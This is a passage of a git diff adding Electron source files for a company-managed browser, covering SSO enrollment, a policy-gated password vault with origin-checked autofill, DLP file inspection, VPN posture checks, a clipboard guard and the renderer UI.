loginUrl=new URL(ticket.url);if(loginUrl.origin!==server || loginUrl.pathname!=='/auth/login')throw Error('Invalid login URL'); + await shell.openExternal(loginUrl.toString()); + message='Complete enterprise sign-in in your system browser…';emit(); + for(let attempt=0;attempt<100;attempt++){ + await new Promise(resolve=>setTimeout(resolve,3000)); + const result=await request(server,'/api/device/sso/poll',{id:ticket.id,secret:ticket.secret,name:os.hostname(),platform:process.platform}); + if(!result.pending)return completeEnrollment(server,result); + } + throw Error('Enterprise sign-in expired'); + }); + ipc('managed:tab-create',createNativeTab); + ipc('managed:tab-activate',id=>{selectTab(id);emit();return state();}); + ipc('managed:tab-close',closeNativeTab); + ipc('managed:tab-group',groupNativeTab); + ipc('managed:navigate',navigate); + ipc('managed:back',()=>{if(ready&&view.webContents.navigationHistory.canGoBack())view.webContents.navigationHistory.goBack();}); + ipc('managed:forward',()=>{if(ready&&view.webContents.navigationHistory.canGoForward())view.webContents.navigationHistory.goForward();}); + ipc('managed:reload',()=>{if(ready)view.webContents.reload();}); + ipc('managed:ai-panel',open=>{if(open)requireFeatureSection('ai');aiPanel=!!open;if(aiPanel){vaultPanel=false;lockVault();}layout();}); + ipc('managed:vault-panel',open=>{if(open)requireVault();vaultPanel=!!open;if(vaultPanel)aiPanel=false;else lockVault();layout();}); + ipc('managed:vault-status',()=>{requireFeatureSection('passwords');return vaultStatus();}); + ipc('managed:vault-create',async master=>{requireVault().create(master);await audit('vault.created');if(!ready){lockVault();throw Error('Browser access paused');}emit();return vaultStatus();}); + ipc('managed:vault-unlock',async master=>{requireVault().unlock(master);await audit('vault.unlocked');if(!ready){lockVault();throw Error('Browser access paused');}emit();return vaultStatus();}); + ipc('managed:vault-lock',()=>{lockVault();return vaultStatus();}); + ipc('managed:vault-list',()=>requireVault().list()); + ipc('managed:vault-save',async entry=>{if(!vaultSettings().allowSaving)throw Error('Saving passwords is disabled by company policy');const result=requireVault().upsert(entry);await audit('vault.saved');emit();return result;}); + ipc('managed:vault-delete',async id=>{if(!vaultSettings().allowSaving)throw Error('Password changes are disabled by company policy');const result=requireVault().delete(id);await audit('vault.deleted');return result;}); + ipc('managed:vault-generate',()=>{const current=requireVault();if(!vaultSettings().allowSaving||current.status().locked)throw Error('Unlock the vault before generating a password');return current.generatePassword();}); + ipc('managed:vault-fill',async id=>{ + const context=tabContext(),tab=tabs.get(context.tabId),contents=context.webContents; + if(startPage||overviewPanel||toolsOpen)throw Error('Show the saved login website before filling credentials'); + if((await checkVisual(tab)).decision!=='allow'||!currentTabContext(context))throw Error('Visual login protection has not approved this page'); + if(startPage||overviewPanel||toolsOpen)throw Error('The login website is no longer visible'); + const current=requireVault(),initial=policy,url=context.url; + if(!initial.passwordManager.allowAutofill||!core.destinationAllowed(url,initial)||new URL(url).protocol!=='https:')throw Error('Password filling requires an approved HTTPS destination'); + let credential; + try{ + const origin=new URL(url).origin;credential={...current.credential(id,origin),origin}; + await audit('vault.fill-requested'); + if(!currentTabContext(context)||startPage||overviewPanel||toolsOpen||policy!==initial||Date.parse(initial.expiresAt)<=Date.now()||current.status().locked)throw Error('Browser state changed'); + contents.focus();if(!currentTabContext(context))throw Error('Browser state changed'); + const result=await diagnosticSpan('browser.password.fill',{sessionId:context.tabId},()=>contents.executeJavaScriptInIsolatedWorld(999,[{code:fillScript(url,credential,Date.parse(initial.expiresAt))}],false)); + if(!currentTabContext(context)||startPage||overviewPanel||toolsOpen||policy!==initial||current.status().locked||result?.completed!==true)throw Error('Browser state changed'); + await audit('vault.filled');return {completed:true}; + }catch{throw Error('Cannot fill this login. Unlock the vault and use its exact HTTPS origin with a single visible same-origin POST login form.');} + finally{if(credential){credential.username='';credential.password='';}} + }); + ipc('managed:ai',managedAI); + ipc('managed:agent-connection',()=>{ + requireFeatureSection('agents'); + if(!ready||!policy.agents.enabled||!agentService)throw Error('Agent access is disabled by company policy');return {address:agentService.address,credentialPath:agentFile()}; + }); + ipcMain.on('managed:page-content',async(event,input)=>{ + const tab=tabs.fromContents(event.sender.id);if(!tab||event.senderFrame!==event.sender.mainFrame||!ready||typeof input?.text!=='string'||input.text.length>250000)return; + const initial=policy,context=tabContext(tab.id,{foreground:false});if(!initial.security.content.blockedPhrases.length)return; + const result=core.inspect(Buffer.from(input.text),initial);if(result.decision==='block'&&result.ruleId?.startsWith('content-')&¤tTabContext(context)&&policy===initial){await audit('content.block',result.ruleId);if(!currentTabContext(context))return;tab.security.contentBlocked={checkedURL:context.url,policyVersion:initial.version,message:'This page contains content blocked by company policy.'};quarantine(tab.security.contentBlocked.message);} + }); + ipc('managed:inspect-file',async()=>{ + requireFeatureSection('documentScan'); + if(!ready||!policy)throw Error('Device must be managed before inspecting files'); + if(policy.inspection?.documentAnalysisEnabled===false)throw Error('Document analysis is disabled for this browser by your administrator'); + if(!localInspector)throw Error('Local content inspector is not installed'); + const currentPolicy=policy; + const selection=await dialog.showOpenDialog(win,{title:icapRequired(policy,'upload')?'Inspect content with company security services':'Inspect company content locally',properties:['openFile']});if(selection.canceled)return null; + requireFeatureSection('documentScan'); + if(!ready||policy!==currentPolicy)throw Error('Policy changed during file selection; inspect again'); + const file=selection.filePaths[0],handle=await fs.promises.open(file,'r');let bytes; + try{const info=await handle.stat();if(!info.isFile()||info.size>policy.dlp.maxBytes)throw Error('File exceeds company inspection limit'); + // Read a bounded immutable snapshot, never release the subsequently mutable original. + const chunks=[];let size=0;for await(const chunk of handle.createReadStream()){size+=chunk.length;if(size>policy.dlp.maxBytes)throw Error('File exceeds company inspection limit');chunks.push(chunk);}bytes=Buffer.concat(chunks); + }finally{await handle.close();} + if(!ready||policy!==currentPolicy){bytes.fill(0);throw Error('Policy changed during file selection; inspect again');} + let result; + try{result=await diagnosticSpan('browser.inspect.local',{bytes:bytes.length},()=>localInspector.inspect(bytes,currentPolicy));if(result.decision==='allow'&&icapRequired(currentPolicy,'upload')){const external=await diagnosticSpan('browser.inspect.enterprise',{bytes:bytes.length},()=>scanEnterprise(bytes,currentPolicy,'upload'));if(external.decision!=='allow')result=external;}}finally{bytes.fill(0);} + if(!ready||currentPolicy.version!==policy.version)throw Error('Policy changed during inspection; inspect again'); + if(result.decision==='block')await audit('dlp.block',result.ruleId); + return {name:path.basename(file),...result}; + }); + win.on('close',()=>tabs.close()); + win.on('resize',layout);win.on('maximize',emit);win.on('unmaximize',emit);win.on('blur',lockVault);win.on('minimize',lockVault);win.on('closed',()=>{vault?.lock();clearInterval(vaultTimer);win=null;clearInterval(syncTimer);localInspector?.stop();agentService?.close();}); + loadAppearance(); + await win.loadFile(path.join(__dirname,'index.html'));layout(); + try{device=loadDevice();const queuePath=path.join(app.getPath('userData'),'audit-queue.bin');if(device&&fs.existsSync(queuePath))auditQueue=JSON.parse(safeStorage.decryptString(fs.readFileSync(queuePath)));if(device){await sync();await audit('browser.started');}}catch(e){quarantine(`Enrollment could not load: ${e.message}`);} + const refreshMs=!app.isPackaged&&process.env.SAFETYNET_SMOKE_USERDATA===app.getPath('userData')?1000:15000; + syncTimer=setInterval(()=>{if(policy&&Date.parse(policy.expiresAt)<=Date.now())quarantine('Company policy expired');sync();},refreshMs); + networkTimer=setInterval(async()=>{ + if(!policy?.enterprise?.vpn.required||networkChecking)return;networkChecking=true; + const checkedPolicy=policy; + try{const posture=await diagnosticSpan('browser.network',{operation:'scan'},()=>networkPosture.check(checkedPolicy.enterprise.vpn));if(policy===checkedPolicy&&!posture.allowed){managementHealthy=false;quarantine('Required corporate network is unavailable. Connect your company VPN.');await Promise.all([browserSession.closeAllConnections(),managementSession.closeAllConnections()]);}} + finally{networkChecking=false;} + },5000); + let wasLocked=true;vaultTimer=setInterval(()=>{const locked=vault?.status().locked??true;if(locked!==wasLocked){if(locked)audit('vault.locked');wasLocked=locked;emit();}},1000); +}).catch(error=>{console.error(error.stack);app.quit();}); +app.on('window-all-closed',()=>app.quit()); +app.on('before-quit',()=>{tabs?.close();}); +app.on('will-quit',()=>{Promise.resolve(diagnostics.shutdown()).catch(()=>{});vault?.lock();clearInterval(vaultTimer);clearInterval(networkTimer);localInspector?.stop();agentService?.close();}); +app.on('certificate-error',(event,_wc,_url,_error,_certificate,callback)=>{event.preventDefault();callback(false);}); +app.on('login',(event,_wc,_details,authInfo,callback)=>{ + event.preventDefault(); + // Proxy credentials are supplied by deployment environment, never a page or policy bundle. + if(authInfo.isProxy&&process.env.SAFETYNET_PROXY_USER&&process.env.SAFETYNET_PROXY_PASSWORD)callback(process.env.SAFETYNET_PROXY_USER,process.env.SAFETYNET_PROXY_PASSWORD); + else callback(); +}); + diff --git a/apps/browser/managed-settings.cjs b/apps/browser/managed-settings.cjs new file mode 100644 index 0000000..705a1f4 --- /dev/null +++ b/apps/browser/managed-settings.cjs @@ -0,0 +1,24 @@ +const SECTIONS=Object.freeze(['appearance','library','ai','passwords','documentScan','agents']); +const DEFAULT_APPEARANCE=Object.freeze({mode:'system',accent:'blue',tabMode:'separate'}); +// This object is computed in the privileged process, never from renderer storage. +function settingsState({policy,ready,preferences={},now=Date.now()}){ + const available=!!ready&&!!policy&&Date.parse(policy.expiresAt)>now; + const rules=policy?.browser?.settings||{}; + const visible=available&&rules.visible!==false; + const hiddenSections=Array.isArray(rules.hiddenSections)?rules.hiddenSections:[]; + const lockedSections=Array.isArray(rules.lockedSections)?rules.lockedSections:[]; + const forced=!visible||hiddenSections.includes('appearance')||lockedSections.includes('appearance'); + return {available,visible,hiddenSections:[...hiddenSections],lockedSections:[...lockedSections],appearance:{...DEFAULT_APPEARANCE,...rules.appearance,...(forced?{}:preferences)}}; +} +function sectionVisible(state,section){return SECTIONS.includes(section)&&state.available&&state.visible&&!state.hiddenSections.includes(section);} +function sectionAllowed(state,section){return sectionVisible(state,section)&&!state.lockedSections.includes(section);} +function featureAllowed(state,section){return SECTIONS.includes(section)&&state.available&&!state.hiddenSections.includes(section)&&!state.lockedSections.includes(section);} +function requireFeature(state,section){if(!featureAllowed(state,section))throw Error('This feature is controlled by your administrator');} +function requireSection(state,section){if(!sectionAllowed(state,section))throw Error('This setting is controlled by your administrator');} +function validateAppearance(input){ + if(!input||typeof input!=='object'||Array.isArray(input)||Object.keys(input).some(key=>!Object.hasOwn(DEFAULT_APPEARANCE,key))||!Object.keys(input).length)throw Error('Invalid appearance settings'); + const values={mode:['system','light','dark'],accent:['blue','teal','violet'],tabMode:['separate','compact']}; + for(const [key,value] of Object.entries(input))if(!values[key].includes(value))throw Error('Invalid appearance settings'); + return {...input}; +} +module.exports={settingsState,sectionVisible,sectionAllowed,featureAllowed,requireFeature,requireSection,validateAppearance}; diff --git a/apps/browser/management-channel.cjs b/apps/browser/management-channel.cjs new file mode 100644 index 0000000..336ea52 --- /dev/null +++ b/apps/browser/management-channel.cjs @@ -0,0 +1,19 @@ +'use strict'; +const channel=require('../../packages/core/policy-channel.cjs'); +const fs=require('node:fs'); +function deploymentPin(){if(process.env.SAFETYNET_REQUIRE_CHANNEL_PIN==='true'&&!process.env.SAFETYNET_CHANNEL_SIGNATURE_KEY_FILE)throw Error('Deployment requires a protected management signing pin');return process.env.SAFETYNET_CHANNEL_SIGNATURE_KEY_FILE?fs.readFileSync(process.env.SAFETYNET_CHANNEL_SIGNATURE_KEY_FILE,'utf8').trim():undefined;} +async function protectedPolicyRequest({device,request,save}){ + const pin=deploymentPin();if(pin&&device.channelSignatureKey&&device.channelSignatureKey.trim()!==pin)throw Error('Protected management signing pin mismatch'); + if(!device.channelSignatureKey){ + // One-time legacy migration is authenticated by the enrollment signing pin and HTTPS. + const identity=await request(device.server,'/api/device/channel/identity',null,device.token); + channel.verifyIdentity(identity,device.publicKey);if(pin&&identity.signatureKey.trim()!==pin)throw Error('Protected management signing pin mismatch'); + device.channelSignatureKey=identity.signatureKey;save(device); + } + const challenge=await request(device.server,'/api/device/channel/challenge',{},device.token); + channel.verifyChallenge(challenge,device.id,device.publicKey,device.channelSignatureKey); + const context=channel.prepare(challenge); + try{const response=await request(device.server,'/api/device/channel/policy',context.request,device.token);return channel.finish(response,challenge,context);} + finally{context.responseKey.fill(0);} +} +module.exports={protectedPolicyRequest,deploymentPin}; diff --git a/apps/browser/network-posture.cjs b/apps/browser/network-posture.cjs new file mode 100644 index 0000000..5a9a5db --- /dev/null +++ b/apps/browser/network-posture.cjs @@ -0,0 +1,34 @@ +'use strict'; +const {execFile}=require('node:child_process'); +const path=require('node:path'); +const net=require('node:net'); +// No administrator input is interpolated into PowerShell. Adapter matching happens +// after bounded JSON parsing; the deployment cannot turn names into shell code. +const postureScript="$ErrorActionPreference='Stop'; $dnsRecords=@(Get-DnsClientServerAddress -ErrorAction Stop); $adapters=@(Get-NetAdapter -IncludeHidden | Where-Object {$_.Status -eq 'Up'} | ForEach-Object { $adapter=$_; $dns=@($dnsRecords | Where-Object {$_.InterfaceIndex -eq $adapter.ifIndex} | ForEach-Object {$_.ServerAddresses}); [pscustomobject]@{name=$adapter.Name; dns=$dns} }); ConvertTo-Json -InputObject $adapters -Depth 4 -Compress"; +function resolverOptions(dns={mode:'system',templates:[]}){ + if(dns.mode==='system')return {enableBuiltInResolver:false,secureDnsMode:'off',secureDnsServers:[]}; + if(dns.mode!=='secure'||!Array.isArray(dns.templates)||!dns.templates.length||dns.templates.length>8)throw Error('Managed DNS configuration is invalid'); + for(const template of dns.templates){const u=new URL(template.replace('{?dns}',''));if(u.protocol!=='https:'||u.username||u.password||u.hash)throw Error('Managed DNS requires HTTPS templates');} + return {enableBuiltInResolver:true,secureDnsMode:'secure',secureDnsServers:[...dns.templates]}; +} +function evaluatePosture(vpn,adapters){ + if(!vpn?.required)return {allowed:true,reason:'not-required'}; + if(!Array.isArray(vpn.interfaceNames)||!vpn.interfaceNames.length||!Array.isArray(vpn.requiredDnsServers)||vpn.requiredDnsServers.some(ip=>!net.isIP(ip)))return {allowed:false,reason:'configuration-invalid'}; + if(!Array.isArray(adapters)||adapters.length>256)return {allowed:false,reason:'probe-invalid'}; + const matches=adapters.filter(a=>typeof a?.name==='string'&&Array.isArray(a.dns)&&vpn.interfaceNames.some(name=>name.toLowerCase()===a.name.toLowerCase())); + return matches.some(a=>vpn.requiredDnsServers.every(ip=>a.dns.some(found=>typeof found==='string'&&found.toLowerCase()===ip.toLowerCase())))?{allowed:true,reason:'approved-interface-present'}:{allowed:false,reason:'required-interface-or-dns-missing'}; +} +function probeWindows({platform=process.platform,run=execFile}={}){ + if(platform!=='win32')return Promise.reject(Error('Network posture is available only on Windows')); + const executable=path.join(process.env.SystemRoot||'C:\\Windows','System32','WindowsPowerShell','v1.0','powershell.exe'); + return new Promise((resolve,reject)=>run(executable,['-NoLogo','-NoProfile','-NonInteractive','-Command',postureScript],{windowsHide:true,timeout:10000,maxBuffer:65536,encoding:'utf8'},(error,stdout)=>{ + if(error)return reject(Error('Network posture probe unavailable')); + try{const value=JSON.parse(stdout.replace(/^\uFEFF/,''));if(!Array.isArray(value))throw Error();resolve(value);}catch{reject(Error('Network posture response invalid'));} + })); +} +function createNetworkPosture({probe=probeWindows}={}){ + let pending; + return {async check(vpn){if(!vpn?.required)return {allowed:true,reason:'not-required'};if(!pending)pending=Promise.resolve().then(probe).finally(()=>{pending=null;});try{return evaluatePosture(vpn,await pending);}catch{return {allowed:false,reason:'probe-unavailable'};}}}; +} +module.exports={resolverOptions,evaluatePosture,probeWindows,createNetworkPosture}; + diff --git a/apps/browser/page-clipboard-guard.cjs b/apps/browser/page-clipboard-guard.cjs new file mode 100644 index 0000000..0747d03 --- /dev/null +++ b/apps/browser/page-clipboard-guard.cjs @@ -0,0 +1,55 @@ +'use strict'; +// This capability stays in the main process. Neither pages nor agents receive CDP access. +const owners=new WeakMap(); +function protectClipboardPrimitives(){ + const prototype=Document.prototype,existing=Object.getOwnPropertyDescriptor(prototype,'execCommand'); + if(existing?.value?._managedClipboardGuard===true&&!existing.configurable)return; + const original=prototype.execCommand,apply=Reflect.apply,test=RegExp.prototype.test.bind(/^(copy|cut|paste)/i); + function managedClipboardCommand(command,...args){ + if(typeof command!=='string'||test(command))return false; + return apply(original,this,[command,...args]); + } + Object.defineProperty(managedClipboardCommand,'_managedClipboardGuard',{value:true}); + Object.defineProperty(prototype,'execCommand',{value:managedClipboardCommand,writable:false,configurable:false}); + const SecurityException=DOMException; + const denyReplacement=()=>{throw new SecurityException('Managed document replacement is disabled','SecurityError');}; + for(const name of ['open','write','writeln'])Object.defineProperty(prototype,name,{value:denyReplacement,writable:false,configurable:false}); + const deny=event=>{event.preventDefault();event.stopImmediatePropagation();}; + for(const name of ['copy','cut','paste','dragstart','dragover','drop'])window.addEventListener(name,deny,true); + const transferred=RegExp.prototype.test.bind(/^(insertFromPaste|insertFromDrop|deleteByCut)/); + window.addEventListener('beforeinput',event=>{if(transferred(event.inputType||''))deny(event);},true); +} +const source=`(${protectClipboardPrimitives.toString()})();`; +function deadline(operation){let timer;return Promise.race([operation,new Promise((_,reject)=>{timer=setTimeout(()=>reject(Error('Page security initialization timed out')),5000);})]).finally(()=>clearTimeout(timer));} +async function attachPageClipboardGuard(contents,onFailure){ + const api=contents.debugger; + if(!api||api.isAttached()||owners.has(contents))throw Error('Page security initialization unavailable'); + const owner={api,healthy:false}; + const detached=()=>{owners.delete(contents);owner.healthy=false;if(!contents.isDestroyed())onFailure();}; + owner.detached=detached; + api.on('detach',detached); + try{ + api.attach('1.3'); + await deadline(api.sendCommand('Page.enable',{})); + const registration=await deadline(api.sendCommand('Page.addScriptToEvaluateOnNewDocument',{source})); + if(typeof registration?.identifier!=='string'||!registration.identifier||!api.isAttached())throw Error('Page security initialization failed'); + owner.healthy=true;owners.set(contents,owner); + }catch{ + api.removeListener('detach',detached); + if(api.isAttached())api.detach(); + throw Error('Page security initialization failed'); + } +} +function guardedScreenshot(contents,parameters){ + const owner=owners.get(contents); + if(!owner)return null; + if(!owner.healthy||owner.api!==contents.debugger||!owner.api.isAttached())throw Error('Page security connection unavailable'); + // Only the fixed screenshot command is shared. There is no general command dispatcher. + return owner.api.sendCommand('Page.captureScreenshot',parameters); +} +function disposePageClipboardGuard(contents){ + const owner=owners.get(contents);if(!owner)return; + owners.delete(contents);owner.healthy=false;owner.api.removeListener('detach',owner.detached); + if(owner.api.isAttached())owner.api.detach(); +} +module.exports={attachPageClipboardGuard,guardedScreenshot,disposePageClipboardGuard}; diff --git a/apps/browser/password-fill.cjs b/apps/browser/password-fill.cjs new file mode 100644 index 0000000..a1f8307 --- /dev/null +++ b/apps/browser/password-fill.cjs @@ -0,0 +1,44 @@ +'use strict'; +// Runs only in the isolated main-frame world. No arbitrary selectors or scripts from callers. +function fillDocument(expectedUrl,origin,username,password,expiresAt){ + if(Date.now()>=expiresAt||window.top!==window||!window.isSecureContext||location.href!==expectedUrl||location.origin!==origin)throw Error('Login destination changed'); + const visible=element=>{ + const style=getComputedStyle(element); + return !element.disabled&&!element.readOnly&&!element.closest('[hidden],[inert],[aria-hidden="true"]')&&style.display!=='none'&&style.visibility!=='hidden'&&Number(style.opacity)!==0&&element.getClientRects().length>0; + }; + const passwords=[...document.querySelectorAll('input[type="password"]')].filter(element=>visible(element)&&element.autocomplete!=='new-password'); + if(passwords.length!==1)throw Error('A single visible login password field is required'); + const target=passwords[0],form=target.form; + if(!form||form.method.toLowerCase()!=='post'||!['','_self'].includes(form.target.toLowerCase()))throw Error('A same-window POST login form is required'); + const action=new URL(form.action||location.href,location.href); + if(action.protocol!=='https:'||action.origin!==origin||action.username||action.password)throw Error('Login form sends to a different destination'); + for(const control of [...(form.elements||form.querySelectorAll('button,input'))]){ + if(control.disabled||typeof control.getAttribute!=='function')continue; + const actionOverride=control.getAttribute('formaction'),methodOverride=control.getAttribute('formmethod'),targetOverride=control.getAttribute('formtarget'); + if(actionOverride!==null){const destination=new URL(actionOverride||location.href,location.href);if(destination.protocol!=='https:'||destination.origin!==origin||destination.username||destination.password)throw Error('Login submit destination differs');} + if(methodOverride!==null&&methodOverride.toLowerCase()!=='post')throw Error('Login submit method differs'); + if(targetOverride!==null&&!['','_self'].includes(targetOverride.toLowerCase()))throw Error('Login submit window differs'); + } + const inputs=[...form.querySelectorAll('input')].filter(element=>visible(element)&&['text','email'].includes(element.type)); + const named=inputs.filter(element=>element.autocomplete==='username'||/^(?:username|user|email|login)$/i.test(element.name||element.id)); + const candidates=named.length?named:inputs; + if(username&&candidates.length!==1)throw Error('A single login username field is required'); + const user=username?candidates[0]:null; + if(user&&user.form!==form)throw Error('Login fields belong to different forms'); + const setter=Object.getOwnPropertyDescriptor(HTMLInputElement.prototype,'value').set; + // Recheck inside the target renderer, after queued native dispatch. A hidden + // or blurred document must not receive credentials after a tab switch. + if(document.visibilityState!=='visible'||!document.hasFocus())throw Error('Login tab is no longer foreground'); + // Set both values before dispatching events: page handlers cannot move focus between writes. + if(user)setter.call(user,username);setter.call(target,password); + if(user)user.dispatchEvent(new Event('input',{bubbles:true})); + target.dispatchEvent(new Event('input',{bubbles:true})); + return {completed:true}; +} +function fillScript(expectedUrl,credential,expiresAt=Date.now()+10000){ + const url=new URL(expectedUrl); + if(url.protocol!=='https:'||url.username||url.password||url.origin!==credential.origin)throw Error('Saved login requires its exact HTTPS origin'); + if(!Number.isFinite(expiresAt)||expiresAt<=Date.now())throw Error('Password policy expired'); + return `(${fillDocument.toString()})(${JSON.stringify(url.href)},${JSON.stringify(credential.origin)},${JSON.stringify(credential.username)},${JSON.stringify(credential.password)},${JSON.stringify(expiresAt)})`; +} +module.exports={fillDocument,fillScript}; diff --git a/apps/browser/policy-assignment.cjs b/apps/browser/policy-assignment.cjs new file mode 100644 index 0000000..b3ede05 --- /dev/null +++ b/apps/browser/policy-assignment.cjs @@ -0,0 +1,10 @@ +'use strict'; +// Check the signed effective policy before any enrollment state or browser +// settings are committed. A valid fleet signature alone is not device binding. +function assertPolicyAssignment(policy, deviceId) { + if (policy.assignment && policy.assignment.deviceId !== deviceId) { + throw Error('Policy device assignment rejected'); + } + return policy; +} +module.exports = {assertPolicyAssignment}; diff --git a/apps/browser/preload.cjs b/apps/browser/preload.cjs new file mode 100644 index 0000000..9511d1d --- /dev/null +++ b/apps/browser/preload.cjs @@ -0,0 +1,33 @@ +const { contextBridge, ipcRenderer } = require('electron'); +contextBridge.exposeInMainWorld('safetynet', { + mutateBookmarks:input=>ipcRenderer.invoke('managed:bookmarks-mutate',input), + state:()=>ipcRenderer.invoke('managed:state'), + authorizeSetting:section=>ipcRenderer.invoke('managed:authorize-setting',section), + updateSettings:input=>ipcRenderer.invoke('managed:settings-update',input), + windowControls:action=>ipcRenderer.invoke('managed:window-control',action), + setChromeLayout:input=>ipcRenderer.invoke('managed:chrome-layout',input), + shareURL:()=>ipcRenderer.invoke('managed:share-url'), + enroll:input=>ipcRenderer.invoke('managed:enroll',input), + sso:input=>ipcRenderer.invoke('managed:sso',input), + navigate:url=>ipcRenderer.invoke('managed:navigate',url), + createTab:input=>ipcRenderer.invoke('managed:tab-create',input), + activateTab:id=>ipcRenderer.invoke('managed:tab-activate',id), + closeTab:id=>ipcRenderer.invoke('managed:tab-close',id), + groupTab:input=>ipcRenderer.invoke('managed:tab-group',input), + back:()=>ipcRenderer.invoke('managed:back'),forward:()=>ipcRenderer.invoke('managed:forward'),reload:()=>ipcRenderer.invoke('managed:reload'), + ai:prompt=>ipcRenderer.invoke('managed:ai',prompt), + inspectFile:()=>ipcRenderer.invoke('managed:inspect-file'), + agentConnection:()=>ipcRenderer.invoke('managed:agent-connection'), + toggleAI:open=>ipcRenderer.invoke('managed:ai-panel',open), + toggleVault:open=>ipcRenderer.invoke('managed:vault-panel',open), + vaultStatus:()=>ipcRenderer.invoke('managed:vault-status'), + vaultCreate:master=>ipcRenderer.invoke('managed:vault-create',master), + vaultUnlock:master=>ipcRenderer.invoke('managed:vault-unlock',master), + vaultLock:()=>ipcRenderer.invoke('managed:vault-lock'), + vaultList:()=>ipcRenderer.invoke('managed:vault-list'), + vaultSave:entry=>ipcRenderer.invoke('managed:vault-save',entry), + vaultDelete:id=>ipcRenderer.invoke('managed:vault-delete',id), + vaultFill:id=>ipcRenderer.invoke('managed:vault-fill',id), + vaultGenerate:()=>ipcRenderer.invoke('managed:vault-generate'), + onState:callback=>{const listener=(_event,data)=>callback(data);ipcRenderer.on('managed:state',listener);return()=>ipcRenderer.removeListener('managed:state',listener);} +}); diff --git a/apps/browser/renderer.js b/apps/browser/renderer.js new file mode 100644 index 0000000..6b9b7c5 --- /dev/null +++ b/apps/browser/renderer.js @@ -0,0 +1,198 @@ +const $=id=>document.getElementById(id);let panel=false,vaultPanel=false,lastState,vaultState,vaultBusy=false,vaultRevision=0; +let sidebarOpen=false,startPageOpen=false,overviewOpen=false,tabs=[],activeTab=null,groupFilter='',navigationRevision=0,pendingNavigation=null,lastLayoutKey='',lastTabsKey='',lastLibraryKey='',nativeTabsRevision=-1; +const preference=(key,fallback)=>{try{return JSON.parse(localStorage.getItem(`sbrowser.${key}`))??fallback;}catch{return fallback;}}; +const remember=(key,value)=>{try{localStorage.setItem(`sbrowser.${key}`,JSON.stringify(value));}catch{}}; +const safeURL=value=>{try{const u=new URL(value);if(!['https:','http:'].includes(u.protocol)||u.username||u.password)return null;u.search='';u.hash='';return u.href;}catch{return null;}}; +const metadata=list=>Array.isArray(list)?list.slice(0,100).filter(v=>v&&safeURL(v.url)&&typeof v.title==='string').map(v=>({url:safeURL(v.url),title:v.title.slice(0,160)})):[]; +let bookmarks=[],readingList=metadata(preference('reading-list',[])),groups=preference('groups',[]);groups=Array.isArray(groups)?groups.filter(v=>typeof v==='string'&&v.length<=40).slice(0,20):[]; +function currentTab(){return tabs.find(t=>t.id===activeTab)||{id:null,url:'',title:'New Tab',group:'',startPage:true};} +async function updateChrome(){ + document.body.classList.toggle('sidebar-open',sidebarOpen);if($('library'))$('library').hidden=!sidebarOpen;if($('start-page'))$('start-page').hidden=!startPageOpen||overviewOpen||!lastState?.ready;if($('overview'))$('overview').hidden=!overviewOpen||!lastState?.ready; + for(const id of ['bookmark','reading-add','share-url'])if($(id))$(id).disabled=!lastState?.ready||startPageOpen||overviewOpen||!currentTab().url||(id==='bookmark'&&(!sectionEditable('library')||!lastState?.bookmarks?.allowUserAdd))||(id==='reading-add'&&!sectionEditable('library')); + const height=Math.ceil($('chrome')?.getBoundingClientRect().bottom||104),layout={height,sidebarOpen,startPageOpen:startPageOpen&&!!lastState?.ready,overviewOpen:overviewOpen&&!!lastState?.ready,toolsOpen:!!($('tools-menu')&&!$('tools-menu').hidden)||!!$('bookmark-editor')?.open},key=JSON.stringify(layout);document.documentElement.style.setProperty('--chrome-height',`${height}px`);if(window.safetynet.setChromeLayout&&key!==lastLayoutKey){lastLayoutKey=key;try{await call('setChromeLayout',layout);}catch(e){lastLayoutKey='';throw e;}} +} +async function navigateTab(value){ + const token=++navigationRevision,tab=currentTab();if(!tab.id)throw Error('No managed tab is available');pendingNavigation={token,tabId:tab.id};overviewOpen=false; + try{const result=await call('navigate',{url:value,tabId:tab.id});if(token===navigationRevision)show(result);} + finally{if(pendingNavigation?.token===token)pendingNavigation=null;} +} +// Native WebContents own identity, history and lifetime. Switching never reloads a URL. +async function selectTab(id){if(!tabs.some(t=>t.id===id))return;navigationRevision++;overviewOpen=false;show(await call('activateTab',id));$('address').value=currentTab().startPage?'':currentTab().url;await updateChrome();} +async function newTab(){navigationRevision++;overviewOpen=false;show(await call('createTab',{group:groupFilter}));$('address').value=currentTab().startPage?'':currentTab().url;await updateChrome();$('address').focus();} +async function closeTab(id){if(!tabs.some(t=>t.id===id))return;navigationRevision++;const previous=activeTab;show(await call('closeTab',id));if(previous!==activeTab)$('address').value=currentTab().startPage?'':currentTab().url;await updateChrome();} +function button(text,fn,cls=''){const b=document.createElement('button');b.type='button';b.className=cls;b.textContent=text;b.onclick=task(fn);return b;} +function renderTabs(){ + const strip=$('tab-strip');if(!strip)return;const key=JSON.stringify({tabs,activeTab,groupFilter,ready:!!lastState?.ready});if(key===lastTabsKey)return;lastTabsKey=key;strip.replaceChildren();for(const tab of tabs.filter(t=>!groupFilter||t.group===groupFilter)){ + const el=document.createElement('div');el.className=`browser-tab${tab.id===activeTab?' active':''}`;el.setAttribute('role','tab');el.setAttribute('aria-selected',String(tab.id===activeTab));el.title=tab.url||'New Tab'; + const select=button(tab.title||'New Tab',()=>selectTab(tab.id),'tab-label'),close=button('×',()=>closeTab(tab.id),'tab-close');close.setAttribute('aria-label',`Close ${tab.title}`);select.disabled=!lastState?.ready;close.disabled=!lastState?.ready;el.dataset.tabId=tab.id;el.append(select,close);strip.append(el);} + if($('overview-grid')){$('overview-grid').replaceChildren();for(const tab of tabs){const card=button('',()=>selectTab(tab.id),'overview-card');const title=document.createElement('strong'),url=document.createElement('span');title.textContent=tab.title;url.textContent=safeURL(tab.url)||'Favorites and a fresh start';card.append(title,url);$('overview-grid').append(card);}} +} +function renderLinks(id,items){if(!$(id))return;$(id).replaceChildren();for(const item of items){const b=button('',()=>navigateTab(item.url),'favorite-card');const initial=document.createElement('span'),label=document.createElement('strong');initial.className='favorite-icon';initial.textContent=new URL(item.url).hostname.charAt(0).toUpperCase();label.textContent=item.title||new URL(item.url).hostname;if(item.managed){const badge=document.createElement('small');badge.textContent='Company';b.append(badge);}b.title=item.url;b.append(initial,label);$(id).append(b);}} +let bookmarkEditingId=null; +async function openBookmarkEditor(item){ + requireSection('library',true);const rules=lastState?.bookmarks; + if(item?.managed||!(item?rules?.allowUserEdit:rules?.allowUserAdd))throw Error('This bookmark is managed by your administrator'); + bookmarkEditingId=item?.id||null;$('bookmark-editor-title').textContent=item?'Edit bookmark':'Add bookmark'; + $('bookmark-title').value=(item?.title||lastState?.pageTitle||'New 